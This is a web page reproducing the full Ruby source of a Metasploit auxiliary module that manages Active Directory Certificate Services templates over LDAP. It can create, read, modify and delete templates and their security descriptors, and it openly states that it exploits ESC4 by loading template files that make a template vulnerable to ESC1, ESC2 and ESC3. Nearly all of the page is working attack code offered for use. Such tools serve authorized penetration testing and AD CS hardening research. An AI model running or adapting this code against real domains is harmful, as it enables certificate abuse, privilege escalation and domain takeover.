Lucene search
K

AD CS Certificate Template Management

This module can manage AD CS certificate templates in an Active Directory Domain Controller. It can create, read, update, and delete certificate templates and is capable of exploiting ESC4 vulnerabilities

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Exploit::Remote::LDAP  
include Msf::OptionalSession::LDAP  
include Msf::Auxiliary::Report  
  
IGNORED_ATTRIBUTES = [  
'dn',  
'distinguishedName',  
'objectClass',  
'cn',  
'whenCreated',  
'whenChanged',  
'name',  
'objectGUID',  
'objectCategory',  
'dSCorePropagationData',  
'msPKI-Cert-Template-OID',  
'uSNCreated',  
'uSNChanged',  
'displayName',  
'instanceType',  
'revision',  
'msPKI-Template-Schema-Version',  
'msPKI-Template-Minor-Revision',  
].freeze  
  
# LDAP_SERVER_SD_FLAGS constant definition, taken from https://ldapwiki.com/wiki/LDAP_SERVER_SD_FLAGS_OID  
LDAP_SERVER_SD_FLAGS_OID = '1.2.840.113556.1.4.801'.freeze  
OWNER_SECURITY_INFORMATION = 0x1  
GROUP_SECURITY_INFORMATION = 0x2  
DACL_SECURITY_INFORMATION = 0x4  
SACL_SECURITY_INFORMATION = 0x8  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'AD CS Certificate Template Management',  
'Description' => %q{  
This module can create, read, update, and delete AD CS certificate templates from a Active Directory Domain  
Controller.  
  
The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be  
restored using the CREATE or UPDATE actions. The CREATE and UPDATE actions require a certificate template data  
file to be specified to define the attributes. Template data files are provided to create a template that is  
vulnerable to ESC1, ESC2, and ESC3.  
  
This module is capable of exploiting ESC4.  
},  
'Author' => [  
'Will Schroeder', # original idea/research  
'Lee Christensen', # original idea/research  
'Oliver Lyak', # certipy implementation  
'Spencer McIntyre'  
],  
'References' => [  
[ 'URL', 'https://github.com/GhostPack/Certify' ],  
[ 'URL', 'https://github.com/ly4k/Certipy' ]  
],  
'License' => MSF_LICENSE,  
'Actions' => [  
['CREATE', { 'Description' => 'Create the certificate template' }],  
['READ', { 'Description' => 'Read the certificate template' }],  
['UPDATE', { 'Description' => 'Modify the certificate template' }],  
['DELETE', { 'Description' => 'Delete the certificate template' }]  
],  
'DefaultAction' => 'READ',  
'Notes' => {  
'Stability' => [],  
'SideEffects' => [CONFIG_CHANGES],  
'Reliability' => [],  
'AKA' => [ 'Certifry', 'Certipy' ]  
}  
)  
)  
  
register_options([  
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),  
OptString.new('CERT_TEMPLATE', [ true, 'The remote certificate template name', 'User' ]),  
OptPath.new('TEMPLATE_FILE', [ false, 'Local template definition file', File.join(::Msf::Config.data_directory, 'auxiliary', 'admin', 'ldap', 'ad_cs_cert_template', 'esc1_template.yaml') ])  
])  
end  
  
def ldap_get(filter, attributes: [], base: nil, controls: [])  
base ||= @base_dn  
raw_obj = @ldap.search(base: base, filter: filter, attributes: attributes, controls: controls).first  
validate_query_result!(@ldap.get_operation_result.table)  
return nil unless raw_obj  
  
obj = {}  
raw_obj.attribute_names.each do |attr|  
obj[attr.to_s] = raw_obj[attr].map(&:to_s)  
end  
  
obj  
end  
  
def run  
ldap_connect do |ldap|  
validate_bind_success!(ldap)  
  
if (@base_dn = datastore['BASE_DN'])  
print_status("User-specified base DN: #{@base_dn}")  
else  
print_status('Discovering base DN automatically')  
  
unless (@base_dn = ldap.base_dn)  
fail_with(Failure::NotFound, "Couldn't discover base DN!")  
end  
end  
@ldap = ldap  
  
send("action_#{action.name.downcase}")  
print_good('The operation completed successfully!')  
end  
rescue Errno::ECONNRESET  
fail_with(Failure::Disconnected, 'The connection was reset.')  
rescue Rex::ConnectionError => e  
fail_with(Failure::Unreachable, e.message)  
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e  
fail_with(Failure::NoAccess, e.message)  
rescue Net::LDAP::Error => e  
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")  
end  
  
def get_certificate_template  
obj = ldap_get(  
"(&(cn=#{datastore['CERT_TEMPLATE']})(objectClass=pKICertificateTemplate))",  
base: "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,#{@base_dn}",  
controls: [ms_security_descriptor_control(DACL_SECURITY_INFORMATION)]  
)  
fail_with(Failure::NotFound, 'The specified template was not found.') unless obj  
  
print_good("Read certificate template data for: #{obj['dn'].first}")  
stored = store_loot(  
'windows.ad.cs.template',  
'application/json',  
rhost,  
dump_to_json(obj),  
"#{datastore['CERT_TEMPLATE'].downcase.gsub(' ', '_')}_template.json",  
"#{datastore['CERT_TEMPLATE']} Certificate Template"  
)  
print_status("Certificate template data written to: #{stored}")  
obj  
end  
  
def get_domain_sid  
return @domain_sid if @domain_sid.present?  
  
obj = ldap_get('(objectClass=domain)', attributes: %w[name objectSID])  
fail_with(Failure::NotFound, 'The domain SID was not found!') unless obj&.fetch('objectsid', nil)  
  
Rex::Proto::MsDtyp::MsDtypSid.read(obj['objectsid'].first)  
end  
  
def get_pki_oids  
return @pki_oids if @pki_oids.present?  
  
raw_objs = @ldap.search(  
base: "CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,#{@base_dn}",  
filter: '(objectClass=msPKI-Enterprise-OID)'  
)  
validate_query_result!(@ldap.get_operation_result.table)  
return nil unless raw_objs  
  
@pki_oids = []  
raw_objs.each do |raw_obj|  
obj = {}  
raw_obj.attribute_names.each do |attr|  
obj[attr.to_s] = raw_obj[attr].map(&:to_s)  
end  
  
@pki_oids << obj  
end  
@pki_oids  
end  
  
def get_pki_oid_displayname(oid)  
oid_obj = get_pki_oids.find { |o| o['mspki-cert-template-oid'].first == oid }  
return nil unless oid_obj && oid_obj['displayname'].present?  
  
oid_obj['displayname'].first  
end  
  
def dump_to_json(template)  
json = {}  
  
template.each do |attribute, values|  
next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }  
  
json[attribute] = values.map do |value|  
value.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join  
end  
end  
  
json.to_json  
end  
  
def load_from_json(json)  
template = {}  
  
JSON.parse(json).each do |attribute, values|  
next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }  
  
template[attribute] = values.map do |value|  
value.scan(/../).map { |x| x.hex.chr }.join  
end  
end  
  
template  
end  
  
def load_from_yaml(yaml)  
template = {}  
  
YAML.safe_load(yaml).each do |attribute, value|  
next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }  
  
if attribute.casecmp?('nTSecurityDescriptor')  
unless value.is_a?(String)  
fail_with(Failure::BadConfig, 'The local template file specified an invalid nTSecurityDescriptor.')  
end  
  
# if the string only contains printable characters, treat it as SDDL  
if value !~ /[^[:print:]]/  
begin  
vprint_status("Parsing SDDL text: #{value}")  
descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.from_sddl_text(value, domain_sid: get_domain_sid)  
rescue RuntimeError => e  
fail_with(Failure::BadConfig, e.message)  
end  
  
value = descriptor.to_binary_s  
elsif !value.start_with?("\x01".b)  
fail_with(Failure::BadConfig, 'The local template file specified an invalid nTSecurityDescriptor.')  
end  
end  
  
value = [ value ] unless value.is_a?(Array)  
template[attribute] = value.map(&:to_s)  
end  
  
template  
end  
  
def load_local_template  
if datastore['TEMPLATE_FILE'].blank?  
fail_with(Failure::BadConfig, 'No local template file was specified in TEMPLATE_FILE.')  
end  
  
unless File.readable?(datastore['TEMPLATE_FILE']) && File.file?(datastore['TEMPLATE_FILE'])  
fail_with(Failure::BadConfig, 'TEMPLATE_FILE must be a readable file.')  
end  
  
file_data = File.read(datastore['TEMPLATE_FILE'])  
if datastore['TEMPLATE_FILE'].downcase.end_with?('.json')  
load_from_json(file_data)  
elsif datastore['TEMPLATE_FILE'].downcase.end_with?('.yaml') || datastore['TEMPLATE_FILE'].downcase.end_with?('.yml')  
load_from_yaml(file_data)  
else  
fail_with(Failure::BadConfig, 'TEMPLATE_FILE must be a JSON or YAML file.')  
end  
end  
  
def ms_security_descriptor_control(flags)  
control_values = [flags].map(&:to_ber).to_ber_sequence.to_s.to_ber  
[LDAP_SERVER_SD_FLAGS_OID.to_ber, control_values].to_ber_sequence  
end  
  
def action_create  
dn = "CN=#{datastore['CERT_TEMPLATE']},"  
dn << 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,'  
dn << @base_dn  
  
# defaults to create one from the builtin SubCA template  
# the nTSecurityDescriptor and objectGUID fields will be set automatically so they can be omitted  
attributes = {  
'objectclass' => ['top', 'pKICertificateTemplate'],  
'cn' => datastore['CERT_TEMPLATE'],  
'instancetype' => '4',  
'displayname' => datastore['CERT_TEMPLATE'],  
'usncreated' => '16437',  
'usnchanged' => '16437',  
'showinadvancedviewonly' => 'TRUE',  
'name' => datastore['CERT_TEMPLATE'],  
'flags' => '66257',  
'revision' => '5',  
'objectcategory' => "CN=PKI-Certificate-Template,CN=Schema,CN=Configuration,#{@base_dn}",  
'pkidefaultkeyspec' => '2',  
'pkikeyusage' => "\x86\x00".b,  
'pkimaxissuingdepth' => '-1',  
'pkicriticalextensions' => ['2.5.29.15', '2.5.29.19'],  
'pkiexpirationperiod' => "\x00@\x1E\xA4\xE8e\xFA\xFF".b,  
'pkioverlapperiod' => "\x00\x80\xA6\n\xFF\xDE\xFF\xFF".b,  
'pkidefaultcsps' => '1,Microsoft Enhanced Cryptographic Provider v1.0',  
'dscorepropagationdata' => '16010101000000.0Z',  
'mspki-ra-signature' => '0',  
'mspki-enrollment-flag' => '0',  
'mspki-private-key-flag' => '16',  
'mspki-certificate-name-flag' => '1',  
'mspki-minimal-key-size' => '2048',  
'mspki-template-schema-version' => '1',  
'mspki-template-minor-revision' => '1',  
'mspki-cert-template-oid' => '1.3.6.1.4.1.311.21.8.9238385.12403672.2312086.11590436.9092015.147.1.18'  
}  
  
unless datastore['TEMPLATE_FILE'].blank?  
load_local_template.each do |key, value|  
key = key.downcase  
next if %w[dn distinguishedname objectguid].include?(key)  
  
attributes[key.downcase] = value  
end  
end  
  
# can not contain dn, distinguishedname, or objectguid  
print_status("Creating: #{dn}")  
@ldap.add(dn: dn, attributes: attributes)  
validate_query_result!(@ldap.get_operation_result.table)  
end  
  
def action_delete  
obj = get_certificate_template  
  
@ldap.delete(dn: obj['dn'].first)  
validate_query_result!(@ldap.get_operation_result.table)  
end  
  
def action_read  
obj = get_certificate_template  
  
print_status('Certificate Template:')  
print_status(" distinguishedName: #{obj['distinguishedname'].first}")  
print_status(" displayName: #{obj['displayname'].first}") if obj['displayname'].present?  
if obj['objectguid'].first.present?  
object_guid = Rex::Proto::MsDtyp::MsDtypGuid.read(obj['objectguid'].first)  
print_status(" objectGUID: #{object_guid}")  
end  
  
pki_flag = obj['mspki-certificate-name-flag']&.first  
if pki_flag.present?  
pki_flag = [obj['mspki-certificate-name-flag'].first.to_i].pack('l').unpack1('L')  
print_status(" msPKI-Certificate-Name-Flag: 0x#{pki_flag.to_s(16).rjust(8, '0')}")  
%w[  
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT  
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME  
CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS  
CT_FLAG_SUBJECT_ALT_REQUIRE_SPN  
CT_FLAG_SUBJECT_ALT_REQUIRE_DIRECTORY_GUID  
CT_FLAG_SUBJECT_ALT_REQUIRE_UPN  
CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL  
CT_FLAG_SUBJECT_ALT_REQUIRE_DNS  
CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN  
CT_FLAG_SUBJECT_REQUIRE_EMAIL  
CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME  
CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH  
CT_FLAG_OLD_CERT_SUPPLIES_SUBJECT_AND_ALT_NAME  
].each do |flag_name|  
if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0  
print_status(" * #{flag_name}")  
end  
end  
end  
  
pki_flag = obj['mspki-enrollment-flag']&.first  
if pki_flag.present?  
pki_flag = [obj['mspki-enrollment-flag'].first.to_i].pack('l').unpack1('L')  
print_status(" msPKI-Enrollment-Flag: 0x#{pki_flag.to_s(16).rjust(8, '0')}")  
%w[  
CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS  
CT_FLAG_PEND_ALL_REQUESTS  
CT_FLAG_PUBLISH_TO_KRA_CONTAINER  
CT_FLAG_PUBLISH_TO_DS  
CT_FLAG_AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE  
CT_FLAG_AUTO_ENROLLMENT  
CT_FLAG_PREVIOUS_APPROVAL_VALIDATE_REENROLLMENT  
CT_FLAG_USER_INTERACTION_REQUIRED  
CT_FLAG_REMOVE_INVALID_CERTIFICATE_FROM_PERSONAL_STORE  
CT_FLAG_ALLOW_ENROLL_ON_BEHALF_OF  
CT_FLAG_ADD_OCSP_NOCHECK  
CT_FLAG_ENABLE_KEY_REUSE_ON_NT_TOKEN_KEYSET_STORAGE_FULL  
CT_FLAG_NOREVOCATIONINFOINISSUEDCERTS  
CT_FLAG_INCLUDE_BASIC_CONSTRAINTS_FOR_EE_CERTS  
CT_FLAG_ALLOW_PREVIOUS_APPROVAL_KEYBASEDRENEWAL_VALIDATE_REENROLLMENT  
CT_FLAG_ISSUANCE_POLICIES_FROM_REQUEST  
CT_FLAG_SKIP_AUTO_RENEWAL  
].each do |flag_name|  
if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0  
print_status(" * #{flag_name}")  
end  
end  
end  
  
pki_flag = obj['mspki-private-key-flag']&.first  
if pki_flag.present?  
pki_flag = [obj['mspki-private-key-flag'].first.to_i].pack('l').unpack1('L')  
print_status(" msPKI-Private-Key-Flag: 0x#{pki_flag.to_s(16).rjust(8, '0')}")  
%w[  
CT_FLAG_REQUIRE_PRIVATE_KEY_ARCHIVAL  
CT_FLAG_EXPORTABLE_KEY  
CT_FLAG_STRONG_KEY_PROTECTION_REQUIRED  
CT_FLAG_REQUIRE_ALTERNATE_SIGNATURE_ALGORITHM  
CT_FLAG_REQUIRE_SAME_KEY_RENEWAL  
CT_FLAG_USE_LEGACY_PROVIDER  
CT_FLAG_ATTEST_NONE  
CT_FLAG_ATTEST_REQUIRED  
CT_FLAG_ATTEST_PREFERRED  
CT_FLAG_ATTESTATION_WITHOUT_POLICY  
CT_FLAG_EK_TRUST_ON_USE  
CT_FLAG_EK_VALIDATE_CERT  
CT_FLAG_EK_VALIDATE_KEY  
CT_FLAG_HELLO_LOGON_KEY  
].each do |flag_name|  
if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0  
print_status(" * #{flag_name}")  
end  
end  
end  
  
pki_flag = obj['mspki-ra-signature']&.first  
if pki_flag.present?  
pki_flag = [pki_flag.to_i].pack('l').unpack1('L')  
print_status(" msPKI-RA-Signature: 0x#{pki_flag.to_s(16).rjust(8, '0')}")  
end  
  
if obj['mspki-certificate-policy'].present?  
if obj['mspki-certificate-policy'].length == 1  
if (oid_name = get_pki_oid_displayname(obj['mspki-certificate-policy'].first)).present?  
print_status(" msPKI-Certificate-Policy: #{obj['mspki-certificate-policy'].first} (#{oid_name})")  
else  
print_status(" msPKI-Certificate-Policy: #{obj['mspki-certificate-policy'].first}")  
end  
else  
print_status(' msPKI-Certificate-Policy:')  
obj['mspki-certificate-policy'].each do |value|  
if (oid_name = get_pki_oid_displayname(value)).present?  
print_status(" * #{value} (#{oid_name})")  
else  
print_status(" * #{value}")  
end  
end  
end  
end  
  
if obj['mspki-template-schema-version'].present?  
print_status(" msPKI-Template-Schema-Version: #{obj['mspki-template-schema-version'].first.to_i}")  
end  
  
pki_flag = obj['pkikeyusage']&.first  
if pki_flag.present?  
pki_flag = [pki_flag.to_i].pack('l').unpack1('L')  
print_status(" pKIKeyUsage: 0x#{pki_flag.to_s(16).rjust(8, '0')}")  
end  
  
if obj['pkiextendedkeyusage'].present?  
print_status(' pKIExtendedKeyUsage:')  
obj['pkiextendedkeyusage'].each do |value|  
if (oid = Rex::Proto::CryptoAsn1::OIDs.value(value)) && oid.label.present?  
print_status(" * #{value} (#{oid.label})")  
else  
print_status(" * #{value}")  
end  
end  
end  
  
if obj['pkimaxissuingdepth'].present?  
print_status(" pKIMaxIssuingDepth: #{obj['pkimaxissuingdepth'].first.to_i}")  
end  
end  
  
def action_update  
obj = get_certificate_template  
new_configuration = load_local_template  
  
operations = []  
obj.each do |attribute, value|  
next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }  
  
if new_configuration.keys.any? { |word| word.casecmp?(attribute) }  
new_value = new_configuration.find { |k, _| k.casecmp?(attribute) }.last  
unless value.tally == new_value.tally  
operations << [:replace, attribute, new_value]  
end  
else  
operations << [:delete, attribute, nil]  
end  
end  
  
new_configuration.each_key do |attribute|  
next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }  
next if obj.keys.any? { |i| i.casecmp?(attribute) }  
  
operations << [:add, attribute, new_configuration[attribute]]  
end  
  
if operations.empty?  
print_good('There are no changes to be made.')  
return  
end  
  
@ldap.modify(dn: obj['dn'].first, operations: operations, controls: [ms_security_descriptor_control(DACL_SECURITY_INFORMATION)])  
validate_query_result!(@ldap.get_operation_result.table)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation